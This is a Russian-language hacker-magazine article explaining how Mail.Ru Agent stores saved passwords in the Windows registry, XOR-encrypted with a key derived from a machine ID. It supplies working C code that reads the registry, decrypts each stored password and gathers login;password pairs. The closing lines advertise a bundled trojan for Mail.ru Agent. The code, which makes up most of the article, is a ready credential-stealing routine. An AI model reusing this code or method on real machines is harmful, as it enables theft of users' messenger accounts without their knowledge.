[вступление]
Этой статьей я не пртетендую на какую либо оригинальность. Всё было
найденно давно до меня человеком с ником execoma. В статье я просто
более популярно объясню алгоритм и как пример напишу утилиту,котрая
будет показывать сохраненные пароли.
[суть: что? где? как?]
Итак, давайте посмотрим, какие ключи Mail.Ru Agent оставляет в
реестре. Находим ветку HKEY_CURRENT_USER\Software\Mail.Ru\Agent\ Нас
здесь интересует ключ ID, а точнее его значение. На каждом компьютере
генерируется уникальный ID. Запомним это. Так же Agent хранит в
реестре и имя пользователя, то есть логин, он находится здесь -
HKEY_CURRENT_USER\Software\Mail.Ru\Agent\mra_logins\ В этой ветке
создается ключ с именем пользователя, а значением этого ключа является
зашифрованный пароль.
Для шифрования пароля используется простейший алгоритм xor. Ключ для
шифрования получается следующим образом: key = ID -(ID/256)*256
Итак, давайте напишем функцию, котрая будет выдирать пароль.
int GetMAgentPasswords()
{
HKEY hKey;
char ID_LPSTR[256]={0};
DWORD lIDLen = sizeof(ID_LPSTR);
int key; unsigned long int intid;
char CR_PASS[256];
DWORD CR_PASSLEN = sizeof(CR_PASS);
DWORD i, retCode, cValues = 256;
int z;
char allData[1024]={0};
char achValue[256];
DWORD cchValue = 1024;
char hash[256]={0}, pass[255]={0};
char *IDREG = "Software\\Mail.Ru\\Agent"; //ветка реестра, в
котрой лежит ID
char *PWREG = "Software\\Mail.Ru\\Agent\\mra_logins";
/*---------[Извлекаем ID]---------*/
if(RegOpenKeyEx(HKEY_CURRENT_USER,IDREG,0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
{
if(RegQueryValueEx(hKey,"ID",0,0,
ID_LPSTR, &lIDLen)==ERROR_SUCCESS)
{
RegCloseKey(hKey);
/*---------[Получаем ключ]---------*/
intid =
atoi(ID_LPSTR);
key = intid
-(intid/256)*256;
/*---------[В
цикле читаем логины и пароли и запиcываем их в буфер]---------*/
if(RegOpenKeyEx(HKEY_CURRENT_USER,PWREG,0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
{
if (cValues)
{
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
{
cchValue = 1024;
achValue[0] = '\0';
retCode = RegEnumValue(hKey, i, achValue, &cchValue, NULL, NULL, NULL, NULL);
if (retCode == ERROR_SUCCESS)
{
RegQueryValueEx(hKey, achValue, 0, 0, CR_PASS, &CR_PASSLEN);
for(z=4; z < CR_PASSLEN; z++)
{
hash[z] = CR_PASS[z];
CR_PASS[z] = CR_PASS[z]^key;
pass[z-4] = CR_PASS[z];
}
strcat(allData, achValue); //
strcat(allData, ";"); //заполняем
strcat(allData, pass); // буфер
strcat(allData, "\r\n"); //
}
}
}
}
}
}
return 0 ;
}
[заключение]
На этом я заканчиваю. В файлах прилагающихся к журналу вы найдете
троян для Mail.ru Agent и утилиту которая поможет вам вспомнить
забытые пароли. На этом все. Удачи!
//by ZiG
|